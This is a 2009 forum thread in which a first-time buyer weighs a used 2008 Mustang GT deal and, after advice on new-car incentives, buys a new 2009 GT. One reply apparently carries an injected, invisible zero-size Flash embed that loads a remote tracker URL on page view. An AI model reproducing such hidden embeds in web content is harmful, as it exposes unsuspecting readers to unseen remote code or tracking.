what to look for when buying my first Mustang

dleone · Aug 10, 2009

Hi all,
I'm about to buy my first Mustang.
I found a sweet deal at a Ford dealer (Ford Capitol Expressway in San Jose CA) near my place. It's a 2008 GT manual with hoodscoop and premium wheels. It's got 5300 miles on it and they offered it to me for about 4k below its KBB value (around 28k). So, I'm both happy (looks like a terrific deal), but I'm also scared to death (cause it kinda looks to good to be true).
What can I do in order to avoid getting screwed here. The vehicle obviously carries the original warranty since it's got less than 36k miles. On the other hand, it's not a a certified used car. I did test drive it and it feels wonderful - except for the clutch which seems to be a little hard - but then I've never driven a V8 manual before.... I can do the obvious checks (lights etc) before I sign, but that doesn't tell me whether something else might be wrong, right?

Many thanks in advance

walter · Aug 10, 2009

I'm not sure how the market in California is but I bought mine with a sticker of about 31K for 25K driveout and it was brand new in '07. If i read right you're getting your car for 24K and it is already one year old which is bad for your bumper to bumper warranty.

Gotta remember in these tough economic times dealerships / car companies / your wallet is/are hurting so do some shopping. Some dealerships STILL have some remaining '08 models for sale. You'll really get a killer deal on those since those numbers are reported to Ford unlike used car inventory sales.

Mpov · Aug 11, 2009

Three months ago, I bought a brand new 2008 GT Convertible, manual, 18" wheels, Interior Upgrade Package, 3.55 rear axle, and some other options, for $27K out the door. Mind you, this was a convertible.

In other words, at 24K for a used car you are not getting such a great deal IMHO. I wouldn't call it a rip-off, just not a great deal.

whyask · Aug 11, 2009

Hey man I understand your in San Jose... get onto autotrader.. do 300 miles around ! And type the info you want... youll want the preimum package deal.. I live in Sacramento and got a 2006 in 2007 with 11 miles on it ..Auto basic package, nothing fancy for 21,xxx just got to shop around man ! good luck !

stanmckinney · Aug 11, 2009

You should be able to get a new 2009, with current rebates and economics, for not much more if you can still find one.
It is not a great deal. So you are not getting too good of a deal to be true.
Check Ford.com for current incentives on the remaining 2009 Mustangs. Forget the NADA and other book values. They are way off considering current economic conditions. Used cars should be cheap when you consider the incentives they are offering to get you to buy new. Do some more checking. If you have a warranty, almost all problems a car might have should be covered. So I would not worry about that. The price should be lower as others have said.

sbreaux26 · Aug 11, 2009

Mpov said:
Three months ago, I bought a brand new 2008 GT Convertible, manual, 18" wheels, Interior Upgrade Package, 3.55 rear axle, and some other options, for $27K out the door. Mind you, this was a convertible.

In other words, at 24K for a used car you are not getting such a great deal IMHO. I wouldn't call it a rip-off, just not a great deal.<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4097"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4097" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>

Three months ago I bought a brand new 2009 GT Preimum for 28K. It was priced at 31K and I got a couple of rebates from Ford. There are good deals to be had on cars right now....

dleone · Aug 11, 2009

Thanks everybody for their suggestions! In particular, I'd like to thank Walter. You singlehandedly prevented me from making a huge mistake. I followed your suggestion and promptly found a brand new 2009 GT premium and was able to haggle it down to 26k (including trade-in and tax). The first dealer I tried this early in the morning totally balked and was unwilling to negotiate - insisted on getting 29k for a 2009 GT premium.... the second dealership (Veracom Ford in San Mateo) agreed to our proposal and now I'm a very, very happy proud owner of a beautiful, new 2009 GT premium. I'll post pictures soon.
Thanks again guys!!!! Again, in particular, thanks to Walter who responded so promptly to my initial post.

PS I can recommend Veracom Ford in San Mateo CA to anybody interested in buying a Ford. Superb, and very friendly dealer. The only one I could find in the SF bay area that treats customers nicely (at least for us).

walter · Aug 12, 2009

No problemo man. I'm glad I could help.

Don't forget to post pictures of your new ride! :SNSign:

stanmckinney · Aug 12, 2009

Glad to hear it. I learned a long time ago to check the price of new before buying used. I tried once to by a demonstrator and was shocked by the price. I asked the same dealer how much more a new one was. He said he could sell me a new one for less.
Always go to the manufacturer's web site and look at incentives. And check this forum. Lots of good information here.

dleone · Aug 25, 2009

walter said:
No problemo man. I'm glad I could help.

Don't forget to post pictures of your new ride! :SNSign:

Finally got around to upload 2 pictures of my new ride:
http://www.stangnet.com/mustang-forums/533160-post-pics-your-mustang-59.html#post7995413

Thanks again to everybody for the helpful suggestions. I'm sooo happy! Brand new 09 GT premium in my favorite color!!!!
Best,

cwest83 · Aug 26, 2009

Yeah I would definitely look around some more. I purchased my 2009 Gt in Jan ordered from the factory and final closeout price after 2k down was $22,660. It had 8 miles after it was delivered to me.

walter · Aug 28, 2009

dleone said:
Finally got around to upload 2 pictures of my new ride:
http://www.stangnet.com/mustang-forums/533160-post-pics-your-mustang-59.html#post7995413

Thanks again to everybody for the helpful suggestions. I'm sooo happy! Brand new 09 GT premium in my favorite color!!!!
Best,

Excellent great color choice!!!

Now get rid of the F150 suspension on it

I kid I kid enjoy your ride!

Wraith413 · Aug 28, 2009

Very nice Stang, dleone !!!

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